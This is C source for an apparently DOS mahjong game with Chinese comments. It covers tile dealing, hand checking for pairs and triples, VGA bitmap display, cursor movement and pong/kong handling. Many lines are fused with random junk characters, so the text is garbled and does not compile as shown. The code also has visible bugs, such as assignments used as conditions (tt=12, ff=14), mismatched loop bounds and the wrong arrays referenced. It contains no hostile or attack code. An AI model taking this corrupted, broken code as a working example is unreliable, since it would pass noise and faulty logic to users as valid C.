* ?; D) C, x. a3 D6 u) {* n1 H% efor(i=0;i&lt;4;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
}
$ c' i) f8 w$ M8 X3 U* X# }if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
4 V; f1 q5 w9 M* f, b* j( w$ gkl=kl+2;
4 D6 N% P5 }2 P5 c1 Qif(kl==5)
5 O1 `: r, _$ R& kbreak;
}
test[ill++]=pt[kl];
}
0 S; b! s# h( x/ n3 W! u- misthree(test);
}
3 x4 E! U) X/ S& ]1 g4 B}
5 M* L% T9 ?8 t5 ?6 Z! Relse if(tt==6)
" f5 \0 t+ T  l4 ^isthree(pt,tt);
else if(tt==8)
: q6 |) B' u0 j  M+ {+ u3 B, Rfor(i=0;i&lt;7;i++)
{
" P: {, t' f$ r- n6 W# u; `3 Z8 Yfor(j=0;j&lt;2;j++)
{test[j]=pt[i+j];
}
6 |9 w' @5 u4 dif(istwo(test))
: z9 h( }3 ^( E! X{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
$ \" j+ A2 S& \. D) W8 X{if(kl==i)
% p/ i8 [; J2 V{
' ~: V4 n3 k& Okl=kl+2;
8 ?7 A# P2 V& d! Vif(kl==8)
& D2 a$ b4 Q3 ]/ j9 i. Ubreak;
}
0 v" R; I. m" etest[ill++]=pt[kl];
9 i/ D3 e6 B3 i5 o7 Y: F( M* B1 K- w}
9 C! a! _( _1 q" E% F: K# F$ D5 visthree(test,tt-2);
4 {; P3 n6 H$ g: k8 j8 v}
}
else if(tt==9)
isthree(pt,tt);
else if(tt==11)
for(i=0;i&lt;10;i++)
{
  k- g: q+ ^9 f4 g0 x9 m( ifor(j=0;j&lt;2;j++)
, w) b! k; B6 `6 [3 w% J# E{test[j]=pt[i+j];
}
! |5 d( b/ e0 E) M$ m. |! L, Uif(istwo(test))
$ z% R+ @! I) h{ ill=0;
3 @0 D4 i- I; M" u5 O* ]# tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
; X/ v( P1 J( ^! ]7 kkl=kl+2;
9 K4 `$ E3 {9 O$ T# W1 W+ o9 jif(kl==11)
break;
}
* b$ E# t9 _5 V/ Ctest[ill++]=pt[kl];
0 B1 i0 ?2 J& I. h9 ^8 J& k/ o1 |0 T  A}
isthree(test,tt-2);
}
2 ]0 a8 s' C& f, r}
else if(tt=12)
9 a  y, @* e9 h! ~  a5 n* {isthree(pt,tt);
else if(tt=14)
/ \' [& L- ^1 R/ Vfor(i=0;i&lt;13;i++)
4 P! a  v7 _. Y: z" A) C  k( C{
for(j=0;j&lt;2;j++)
0 `% H2 S) w0 }- y& ^4 S, U! T$ _{test[j]=pt[i+j];
}
if(istwo(test))
3 H% u' D: r6 _{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
) M3 z/ y7 g3 ?3 W7 ~( T{if(kl==i)
{
- q8 l" C9 G5 q* w: t4 ]kl=kl+2;
if(kl==14)
! |" e8 j/ z" ]7 O# Z3 mbreak;
}
- m! Q( L5 F! S" Gtest[ill++]=pt[kl];
}
isthree(test,tt-2);
! {$ Z9 E2 \) G& R}
; k( V: n1 O2 [9 I9 u! L}
if(ii==2)
istwo(pi);
else if(ii==3)
8 w. [" e# b' cisthree(pi,ii);
else if(ii==5)
/*pi[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
9 Q; ?. \9 o& U/ Z4 J. @  _for(i=0;i&lt;4;i++)
3 q. f9 H- ^# K{
for(j=0;j&lt;2;j++)
3 ]- M" O7 D/ p+ G1 F* Q' w) U! C{test[j]=pi[i+j];
}
& L9 @; E& L3 _" p' gif(istwo(test))
{ ill=0;
$ f* W6 Z. L5 W; J/ L- ofor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
if(kl==5)
8 {% z* M! s2 [* f/ b+ |break;
0 j$ A2 x" p. q5 L7 Z: @5 X}
' r/ X# Z: y: O( ?, b( btest[ill++]=pw[kl];
}
- d0 B5 [  h; n+ S! t: @5 ^isthree(test);
+ N5 Q, w) u2 E1 E7 Q+ F% F( n! G+ P}
}
else if(ii==6)
" L. b' a- Y% G* @( risthree(pi,ii);
else if(ii==8)
, d( F" u. p% hfor(i=0;i&lt;7;i++)
4 X5 b1 M! U# N1 {. M6 f+ W{
for(j=0;j&lt;2;j++)
4 L/ h' p7 u8 W- D  p{test[j]=pi[i+j];
! k. |# o& f/ R& ]6 s/ e}
$ K* Z" x& W- c4 E; Cif(istwo(test))
; \9 S0 c5 H+ o3 N{ ill=0;
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
' y0 S$ w# _- t) L0 Z* u4 E* ~{
2 o! z4 z& g% i7 }5 H' akl=kl+2;
if(kl==8)
break;
}
7 \8 i+ @3 ~0 H, ~8 M/ jtest[ill++]=pi[kl];
}
isthree(test,ii-2);
0 y" ]/ {- G9 v) D}
}
else if(ii==9)
isthree(pi,ii);
else if(ii==11)
& i7 i  n8 N; u7 P: o0 K) ^for(i=0;i&lt;10;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
, m4 {$ P6 o5 P4 W}
if(istwo(test))
{ ill=0;
4 \4 N5 C3 B. g: ~for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
kl=kl+2;
' S8 `' p) D6 \$ Bif(kl==11)
9 z$ f) A5 d/ H* E7 j; S" bbreak;
& X; S8 F6 b1 O+ r' X3 O2 [}
test[ill++]=pi[kl];
3 h* a) A) J5 A" e}
isthree(test,ii-2);
}
}
else if(ii=12)
/ ]" ~6 \" Z- b4 k& W7 |  o' listhree(pi,ii);
else if(ii=14)
/ q* p/ D5 v* T) ]. Y$ `( X" Xfor(i=0;i&lt;13;i++)
{
7 T9 d7 t3 W. v! g5 ^0 z- X0 x& Jfor(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
}
if(istwo(test))
' ~7 T! G7 d( m/ _, C{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
! r6 u4 U5 f$ N) skl=kl+2;
3 K- B, J! D: ?+ L* c$ q0 hif(kl==14)
break;
}
! `# U0 U- r0 N+ V, k9 q! Ntest[ill++]=pi[kl];
}
+ x/ @' m7 H( V. y5 X5 @3 `& qisthree(test,ii-2);
7 X) S# j5 R: C# Z* I# B9 B5 a}
}
6 g0 u% v9 E, G- Eif(ff==2)
istwo(pf);
else if(ff==3)
6 E  @0 b6 Q7 l3 r; q3 bisthree(pf,ff);
8 s6 e7 z* P3 l" yelse if(ff==5)
% {0 V9 \" ]0 i' k% o- x* a; }/*pf[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
" s1 |) T1 z( J9 c{
for(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
; I. j" \, }; K4 x}
if(istwo(test))
/ f: S# u* n: |; ^{ ill=0;
5 q/ R/ g/ S- H) ~* n3 |# P3 ^& rfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
# M. m8 S8 f; J! K{
6 z( Q) h3 y; K2 r; h1 H# g2 Q! Fkl=kl+2;
' ]* E/ y7 K( B- |if(kl==5)
* A: D# p" a/ R, F0 y- x+ T2 h* c4 Bbreak;
}
test[ill++]=pf[kl];
' ~# t' z" {/ _# [}
) A  M6 o; |, V, d, p( [" D' Aisthree(test);
}
}
else if(ff==6)
isthree(pf,ff);
else if(ff==8)
for(i=0;i&lt;7;i++)
{
for(j=0;j&lt;2;j++)
{test[j]=pf[i+j];
4 v3 M8 N" X" {) t2 v& H0 d}
1 G5 t) ?2 P7 s5 z* yif(istwo(test))
{ ill=0;
& }7 K" m" `- p! I  nfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
  l& m! N9 E1 }$ s7 s2 C' y' I{if(kl==i)
1 z$ X& D. `$ t/ t{
  G* s  U+ h* J2 W1 [kl=kl+2;
$ k# R0 V1 S4 ^& t( \) e' Iif(kl==8)
5 O- e% C- g6 m0 V. Tbreak;
* K: j7 a3 j6 O; ?# {- r}
test[ill++]=pf[kl];
}
/ X1 |6 w0 K# f1 qisthree(test,ff-2);
}
}
; R5 O& N/ |! d9 F# Z" welse if(ff==9)
isthree(pw,ww);
5 ~. i. a# O3 m& @2 lelse if(ff==11)
for(i=0;i&lt;10;i++)
, l* m& N: {9 e2 U/ G. G0 j{
for(j=0;j&lt;2;j++)
- D  i: ?( I- g. G, B" u{test[j]=pf[i+j];
}
7 D% Z5 H) C9 {, N4 L" Jif(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
' j# W' ]! ~" Q1 {# U9 f. q2 M{if(kl==i)
6 J$ j3 I' y$ U/ N/ h% o{
kl=kl+2;
if(kl==11)
break;
0 G/ g/ T% P( C+ K/ z1 F0 `5 q}
test[ill++]=pf[kl];
}
isthree(test,ff-2);
}
) |) h7 ~3 ]3 u2 f8 X1 F}
else if(ff=12)
/ _" e4 N% f9 w9 @# F: d$ Sisthree(pf,ff);
else if(ff=14)
for(i=0;i&lt;13;i++)
" z! l& v" i9 V4 w$ V4 g% ]{
1 B' N7 L4 ~0 d2 t' R* Hfor(j=0;j&lt;2;j++)
$ ~* g: ?8 u# V* ?# r{test[j]=pf[i+j];
}
( U* J7 \# f6 e) p$ E; Bif(istwo(test))
5 l/ ^+ i) v4 h/ p( t' J{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
" H. \# x* D! j, s9 r( l{
kl=kl+2;
if(kl==14)
break;
7 N9 [6 e6 ^) h- ?0 ]}
; g# P: ~2 g6 b& w7 K$ B' C$ ]test[ill++]=pf[kl];
}
0 P! n5 Q2 I! `' m7 Risthree(test,ff-2);
  o4 S. x0 ^* g* k; H1 R}
) [8 W8 \: b+ z+ z+ h5 b}
* H' L) S- U3 F! J}
$ G; l  ?% r" M3 u9 V9 w$ O% tvoid main(void)
% u! ?5 k* K5 F% P& w2 }0 n/ ?{
FILE *bmp;
static char *name[2]={"ff.bmp","logo.bmp"};
char *p;
6 P2 x- }: k: K2 pint *lingshi;
. x- D" d+ Z8 h+ u* X4 Kint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
int every=0,w=0,x1,x2,y1,y2,every1=0;
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
BYTE palette[256][3];
, \8 w% x, P7 f- c9 VSETVGA;
( I! ~& y4 t, g( Y  agetch();
& }6 O. _$ C, Wwhile(t--)
. {3 @4 T3 b6 _4 k$ b/ z# z0 R1 }{
bmp=fopen(name[t],"rb");
8 A: d. g9 N6 D; l6 y9 ]; |fseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
{
) G' q. k; v' Opalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
palette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
$ i" P; I' _1 ESet_Palette(i,palette[0],palette[1],palette[2]);
+ Y7 F& X+ T2 N$ l: }& S; Y- ^}
. d+ c) O  v; L9 sfor (y=0;y&lt;200;y++)
for(x=0;x&lt;320;x++)
& O3 h+ Y0 L: \0 N% m# v* S4 Rpokeb(0xa000,y*320+x,fgetc(bmp));
fclose(bmp);
getch();
9 x7 C. s- O4 ]. ~}
3 V# {8 A" a  b: {* u  g" Bgetch();
; Q, i' T0 Q& E( @+ RfillRectangle(0,0,320,200,0);
getch();
randomize();
me.m=onetothirteen;
while(me.m&gt;0) /*先循环，给自己拿牌*/
+ G$ u7 s) g& h  r$ u7 {{
% _: ~1 O0 Y5 f2 q$ N
temp=random(136);
  W! y6 ?  r9 B+ `if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
" ^# B$ F( q0 t, Q$ U* i% X4 ]me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
me.pp[n].number=temp; /*第几张，用来排序*/
m[temp].data2=1; /*判断牌是谁的*/
kk=1;
1 O1 b0 V4 c; O" D: y" J" j& e}
4 t! }) S. Y# g! Uif(kk==0) /*判断如果又选择了，就从新再选*/
{
+ E2 h; h. e: v+ {me.m++;
3 @: _4 M9 \" }5 C% [3 t4 ]n--;
: D; u- P0 Y, t}
me.m--;
. v$ y0 k- R9 L6 e, d# Xn++;
5 A: T( l8 c4 {kk=0;
}
me.m=12;
- X" b5 o) L; `1 M) I' {, Y2 B+ Qmelipai(); /*理牌*/
' m0 ]$ f* i  r
% T4 W; S: ~* s/ `3 {; In=13;
' O; a0 |0 @, y' m5 k& e) V# }while(l&lt;n)
{
# K( s) [1 F. ~3 J& y# @z=z+20;
showbmp(l);
& i3 ?( E, ^  U5 }" Fl++;
  b6 t2 J( n2 h9 `3 B6 q$ k
' e# ^# C$ G6 h}
randomize();
! m8 O  C# N/ Z1 ^* o: k( C3 Ecomputer.m=oneorthirteen;
' z* G" k  |" S5 U+ O1 sn=0;
while(computer.m&gt;0) /*循环，给对方拿牌*/
{
temp=random(136);
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
) P' v6 D2 t; z! _: \  N6 zcomputer.pp[n].number=temp; /*第几张，用来排序*/
. o" q+ t  S9 A9 @m[temp].data2=2; /*判断牌是谁的，2为电脑*/
; q' w: i# \4 `* E( Akk=1;
+ f/ X$ A7 k0 ]* e}
if(kk==0) /*判断如果又选择了，就从新再选*/
{
- O* A" i2 u, O# G# M% @computer.m++;
n--;
, y) v; E$ W: W3 H" _1 k  C9 A% n; F% M}
2 F" Q  y- B' O- q" m  l8 [computer.m--;
n++;
2 n3 E( j. {) Rkk=0;
}
computer.m=12;
comlipai(); /*电脑理牌*/
! j, B9 P7 W& K9 xn=13;
4 S; X9 y' ^! ~while(ll&lt;n)
{
zy=zy+20;
# P; M! n( |* e9 {6 Wshowybmp(ll);
7 X0 _1 Z/ b0 @5 D) d- {0 _ll++;
}

3 F+ x9 g/ P; Iz=54400;
while(key!=ESC)
  ]& D& j! x( L! J{

% D5 F0 ?+ J! m& o" M+ Ykeyy=bioskey(0);
2 }) J1 y0 ~+ \2 @) Uif(keyy==LEFT)
/ {/ y, w- a& c" X( E  K{ w=1;
if(every==0)
{
: @  P4 e+ C& @* A9 u$ y! Vevery=1;
5 ^+ g5 N3 i; X6 ~6 fz=54440-5*320;

}
zz=zz+5*320;
showbmp(every);
& ^' U+ u& t1 T: a# G& ~2 E( aif(every==0)
0 v/ s( n* b9 m' z! Y1 i9 \{
$ W2 I8 e- C: g5 V$ ?0 Y' |( m$ lx1=20;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==1)
{
x1=40;
y1=165;
' h, q% |  K4 h# DfillRectangle(x1,y1,x1+20,y1+4,0);
2 g/ h, u! @0 S5 r}
$ ?' I4 B2 i+ p4 Z$ W4 l/ Uif(every==2)
{
x1=60;
  O) |: U, e# k% e; Sy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
: c6 Z4 ?/ b" r$ I; m7 bif(every==3)
" m8 b0 n% d8 e( V; V{
x1=80;
  K# \) N8 |3 J$ A7 A! ?* `  Py1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
$ _- c  J# ~3 |( V, h# Q}
if(every==4)
6 U/ h! N9 K' W. c/ a{
# V' C/ Z6 B. |x1=100;
y1=165;
0 h$ {, u" y& M4 f9 ?( |fillRectangle(x1,y1,x1+20,y1+4,0);
7 d0 D2 f% f* W}
if(every==5)
2 t/ z  ]* C1 [9 {" \* n# q{
  y( A* O, q. m; \) ]) k0 M9 Lx1=120;
" }# S7 [/ ?% _8 {! Y* ty1=165;
  z( \% H: u; v3 H; LfillRectangle(x1,y1,x1+20,y1+4,0);
}
$ _7 _& l( K% q0 g0 n+ Yif(every==6)
- c) l& j1 E4 q) K{
x1=140;
+ N* _1 J! {* t3 hy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
, I! C$ g+ k: A' I}
if(every==7)
{
$ I% r+ q& _1 Ux1=160;
  z. L" y" l. Y7 D( M+ ay1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
& _9 S9 q8 T5 a) T1 G$ |2 K}
4 t& K5 |0 F8 M* |4 Z+ x# e- L1 ?, hif(every==8)
{
x1=180;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
. s& O0 n2 k1 ]if(every==9)
{
x1=200;
y1=165;
9 L& w% X7 h( j+ P2 PfillRectangle(x1,y1,x1+20,y1+4,0);
9 g5 b/ a) i6 y- e$ ^8 z) @. @$ c1 b}
if(every==10)
{
& k  i& d0 X8 K" U/ |8 Vx1=220;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==11)
{
+ `" Q3 ~* V, K: D! v+ _x1=240;
  t# y1 Q0 [2 B( B2 Ey1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
( O# C" B+ _8 g& P! a}
if(every==12)
{
x1=260;
y1=165;
4 j/ _' J* }6 \$ {0 r3 @6 bfillRectangle(x1,y1,x1+20,y1+4,0);
, `! X0 d1 i( |* B9 P* P) c}
zz=0;
every--;
7 s8 V7 Z* }/ Xz=z-20;
}
# M4 ~5 I  J6 ^& Z7 |# h+ Oif(keyy==RIGHT)
, T+ ?+ G3 m) }1 x/ L{ if(w==0)
{
z=54440-5*320;
z=z-20;
w=1;
}
if(every==12)
( `; w$ h) A2 s$ U$ ~{
7 S; W9 |# k3 R& q$ Wevery=11;
+ k% A% i) F6 q' oz=54640-5*320;
}
zz=zz+5*320;
: C* ~+ @8 q9 k; Eshowbmp(every);
$ Q* t9 K' W6 T9 N6 a' e) Uif(every==0)
( ^1 ?1 Q; r$ }: V# E{
4 P; Q4 v" z  t/ c" U" A  Ox1=20;
1 V3 _; L+ f+ j, y4 _" j- Ay1=165;
- S$ k2 p  T5 a+ a5 r1 {( ~- `fillRectangle(x1,y1,x1+20,y1+4,0);
}
& L; l' t- {; {! _. Mif(every==1)
{
9 L/ V, n0 [: sx1=40;
y1=165;
9 K' A1 G7 [+ g# b. d2 Y' `8 ?# wfillRectangle(x1,y1,x1+20,y1+4,0);
}
7 G* H1 z4 R5 q/ D* _0 T' Y" f8 _if(every==2)
{
x1=60;
y1=165;
2 S9 N9 j3 W, c; c' _fillRectangle(x1,y1,x1+20,y1+4,0);
}
& m  K- e2 a9 s* eif(every==3)
{
' q% x8 u1 E1 S7 wx1=80;
y1=165;
7 z. r5 F" N! o) u/ @fillRectangle(x1,y1,x1+20,y1+4,0);
3 F- U; ^! [* Y/ D: x}
if(every==4)
{
x1=100;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==5)
{
; @7 ]2 t. v, Cx1=120;
y1=165;
, w' U* @8 ~; [fillRectangle(x1,y1,x1+20,y1+4,0);
0 B/ f2 ~7 ~2 @/ |}
  v& k" \! w$ y/ U$ Wif(every==6)
# _1 D2 N; j2 B+ u{
- W- w( k# R  P( ux1=140;
; y$ o8 A! }% H7 }y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
5 c1 t! h: ~; f}
if(every==7)
{
5 a7 y* ~8 `" N# B* ax1=160;
+ o3 ^) c8 y* y5 z  Ay1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
+ o$ l( ?4 ?( n7 p0 t' Pif(every==8)
{
( ~* m9 L  g2 _x1=180;
# M" E6 {: c  p! p# cy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
$ M2 p4 O9 y- ]1 M; V}
if(every==9)
{
6 U5 [% W  ^; E8 V5 L7 |x1=200;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
* E. F: J$ ~. H$ T- d  J}
if(every==10)
{
x1=220;
0 c2 ~/ h: R1 v; j  }y1=165;
; d* x1 t, J+ b$ S( ZfillRectangle(x1,y1,x1+20,y1+4,0);
. o8 \- t1 c" G- N8 a' _}
if(every==11)
5 n6 D+ y/ [- J  t{
8 ?( F6 L8 r/ n' M, h3 r) q5 Xx1=240;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
- ?* f# [: @9 _* T9 Y* `8 e0 [}
if(every==12)
& r# C: A  k/ w7 Q; \1 T{
/ |* p7 q; G) w) A8 Ex1=260;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}

zz=0;
+ R& {% L5 y& r* q& _' x5 ?every++;
7 N! {3 v* E* C- l$ R2 i+ cz=z+20;
}
3 s# A' V; W2 L; ^5 ^! R6 l$ Qshowbmp(every);
key=keyy;
if(keyy==ENTER)
9 Q- t& N; L* v! X{
. {2 m1 _, f1 o5 `rgzn(every); /*********************/
. x8 k, z  A' z$ Lif(sing==1) /*如果可以乓，做相应的处理*/
{
kkk=0;
kkkk=0;
- g, Y8 r& \/ e  M  hwhile(kkk&lt;=computer.m)
{
1 K( ?9 F! v; u9 {if(computer.pp[kkk].p!=1)
{
comp.pp[kkkk].k=computer.pp[kkk].k;
: r4 L/ N1 c9 H+ R( b$ B' N5 vcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
  {6 i% x( G8 Tcomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
8 W3 j4 y3 |# D! L7 gelse
{
m[computer.pp[kkk].number].data1=1;
4 A+ j% Y5 [" |) @' i4 G3 j: qdwei=computer.pp[kkk].number;
. Y# x( f+ u& K1 Dcomputer.pp[kkk].p=0;
/ z% R- o9 S; I( z" @0 f/ L}
, E$ n7 A+ G* X1 t/ ekkk++;
) h* I8 H1 m% l0 |}
ll=0;
+ |% |  J+ E. p
while(ll&lt;3)
{ zl=zl+20;
bmpp(dwei); /*显示乓的牌*/
% o- \/ G. F' @, Ill++;
}

zl=zl+9600-60;
+ f; n5 ^$ k0 N- S2 ]3 k. y+ ckkk=0;
computer.m=computer.m-2;
: G+ n6 z6 C* m6 v- U& `4 ywhile(kkk&lt;=computer.m)
{
& m# i  p' Y" ?7 v" \4 ecomputer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
. b! z5 y4 O5 O& ecomputer.pp[kkk].number=comp.pp[kkk].number;
2 h( F) z& P# d/ `. @' O, ykkk++;
}
5 Q( \; ]% `6 }. [ll=0;
2 `+ |6 n; o4 A' n( @8 ctemp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
zyy=zyy-9280;
" o, @% j) t- K$ F/*****/
rgznme(temp);
# b. e7 v1 l2 E% r4 vpanduan();
  W  B# k; E) T' y5 a1 _if(me.m==0)
if(second==1 &amp;&amp; threes==0)
printf("you win!");
if(me.m==3)
$ O. m" \0 P  }, o  b5 a! iif(second==1 &amp;&amp; threes==1)
$ }/ s3 {% E8 h- O7 T. ?printf("you win!");
! K* i8 Q/ |* a# xif(me.m==6)
if(second==1 &amp;&amp; threes==2)
printf("you win!");
7 M8 C' c3 }2 f1 |& n5 Lif(me.m==9)
if(second==1 &amp;&amp; threes==3)
* ^- J% z9 C& q4 @. \, \/ x. Gprintf("you win!");
4 h  v7 N# p! e  w7 zif(me.m==12)
( z/ `* A3 {" }if(second==1 &amp;&amp; threes==4)
printf("you win!");

4 G) o) u+ m+ \8 c" A0 Qkkk=0;
kkkk=0;
/ @. z3 v2 I2 ywhile(kkk&lt;=computer.m)
{
if(kkk!=temp)
; X- g5 C, L/ k3 K0 E! w{
comp.pp[kkkk].k=computer.pp[kkk].k;
  i  L5 n/ ^: u3 b# Jcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
; P% y7 J$ g5 g9 S  k) r. y' rcomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
* i# y# v/ U) C6 X}
+ g  k' ]: _1 e) `else
m[computer.pp[kkk].number].data1=1;
kkk++;
+ Q! f4 g8 ]6 J" ?5 u5 b! X}
kkk=0;
computer.m=computer.m-1;
while(kkk&lt;=computer.m)
{
  W9 i/ `1 r- b2 `3 R0 [* Jcomputer.pp[kkk].k=comp.pp[kkk].k;
( p% G1 F$ N/ ^9 @0 F5 A1 vcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
4 w* ?/ {: Y( h" u6 e# C6 L+ G, Lkkk++;
}
# L8 }2 y2 p2 ~$ mfillRectangle(0,0,320,30,0);
6 w' D! U0 G- m% N) z8 p1 {& Xn=computer.m;
ll=0;
0 I0 o% N+ J1 v% O' _zy=0;
( `8 Q+ G, B+ \* K2 bwhile(ll&lt;=n)
' ^& [3 X9 S8 w/ G0 i: }{
, y6 l7 K9 ]+ ^! A7 C* Zzy=zy+20;
1 g. w4 j, w- Cshowybmp(ll);
5 m# ], p- w( T& i0 [$ jll++;
" N) R' S; m4 r/ W3 c}
ll=0;
getch();
sing=0;
0 Y3 b" S2 E- N0 n1 u8 Jsing1=1;
}
8 y; e: H# [) S; ^
) l# p3 H0 d5 r$ F; l: Xif(sing==2) /*如果可以杠的做相应处理*/
{
6 r+ S2 R8 Y4 Wkkk=0;
7 S  C* k& B( N! g( {) g, Tkkkk=0;
while(kkk&lt;=computer.m)
% }' A- d; K7 u% X1 s: |{
( C7 X6 R; T* \8 r( w7 k. Zif(computer.pp[kkk].g!=1)
! X# ~7 B. @4 K/ u3 u{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
else
( B! x5 s9 `1 O* J1 `{
m[computer.pp[kkk].number].data1=1;
! F9 |: Q" r+ ldweig=computer.pp[kkk].number;
: z$ v8 O" F0 `  k/ \computer.pp[kkk].g=0;
}
kkk++;
}
ll=0;
4 R+ g" P" Q. D; F
while(ll&lt;=3)
, X1 L" X5 X4 a% X% o{ zl=zl+20;
bmpp(dweig); /*显示杠的牌*/
) R! U8 ~; f( cll++;
% O" t- L% Z! j}
* x) h$ R+ o) D7 O7 V1 l; Kzl=zl+9600-60;
5 D0 g/ j( }/ w, g% M' y8 tkkk=0;
9 o/ K& z4 ~7 Bcomputer.m=computer.m-3;
while(kkk&lt;=computer.m)
! l! d% W1 F6 P' F7 r{
' u1 N, [) w2 _6 i6 r3 c) gcomputer.pp[kkk].k=comp.pp[kkk].k;
* L$ _' i6 b0 C: |% |+ J. e6 Fcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
* Q/ S# [# J) V}
kk=0;
computer.m++; /*加一个牌的容量*/
) H9 p0 l3 r! A; Ywhile(kk!=1)
7 W" X7 s$ y5 u- k{
temp=random(136); /*出牌*/
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
! x7 m) Z9 C4 R3 C" g% J- ]' e5 W; lcomputer.pp[computer.m].number=temp; /*第几张，用来排序*/
. A+ F! \0 A( P1 xm[temp].data2=2; /*判断牌是谁的，2为电脑*/
kk=1;
}
) l. A9 s5 I1 C. k}
$ v* i' I! m( s# q# \8 h7 Icomlipai();
temp=random(computer.m); /*出牌，等待完善*/
) D/ v" P. I4 \, l; Fzyy=zyy+9280+20;
showcbmp(temp);
zyy=zyy-9280;
+ ]! B+ U4 |. i! O3 c+ F/*****/
5 ]" |0 [: h1 A: Urgznme(temp);
panduan();
$ H4 F3 `3 `( L: Dif(me.m==0)
if(second==1 &amp;&amp; threes==0)
/ T, e5 p% e8 @: ?' W& D3 Xprintf("you win!");
if(me.m==3)
if(second==1 &amp;&amp; threes==1)
printf("you win!");
if(me.m==6)
) Y! f1 M  h1 @5 Q* g; Z# H: bif(second==1 &amp;&amp; threes==2)
printf("you win!");
if(me.m==9)
if(second==1 &amp;&amp; threes==3)
' g* C. N5 A" G! ]printf("you win!");
if(me.m==12)
  |5 u; T/ ^5 H4 Q; N% J. `if(second==1 &amp;&amp; threes==4)
printf("you win!");
' s) F: m- p) g. W
! R+ R5 Z9 X' l' S- L8 skkk=0;
! Y( d3 U8 a* ?/ b1 I; e- `kkkk=0;
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
{
if(kkk!=temp)
/ v1 N) U1 `* Q: N! ~( E{
4 Y5 d' u. z' [comp.pp[kkkk].k=computer.pp[kkk].k;
% m+ ?- _; A, l6 w% Jcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
/ q' B/ V2 ^6 Q. g! @! M# E) [comp.pp[kkkk].number=computer.pp[kkk].number;
- b2 z2 N% [3 [+ S9 ]- R' Okkkk++;
# U% H: Y9 G% R* P6 b}
9 _: x3 R. ~2 P7 b) ]: gelse
  Z+ {; n$ J; T, N/ P$ sm[computer.pp[kkk].number].data1=1;
" @# F; f; B9 g2 f! l+ y$ U& vkkk++;
}
kkk=0;
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
while(kkk&lt;=computer.m)
/ q% @! r; ~$ U8 N- H# j8 \{
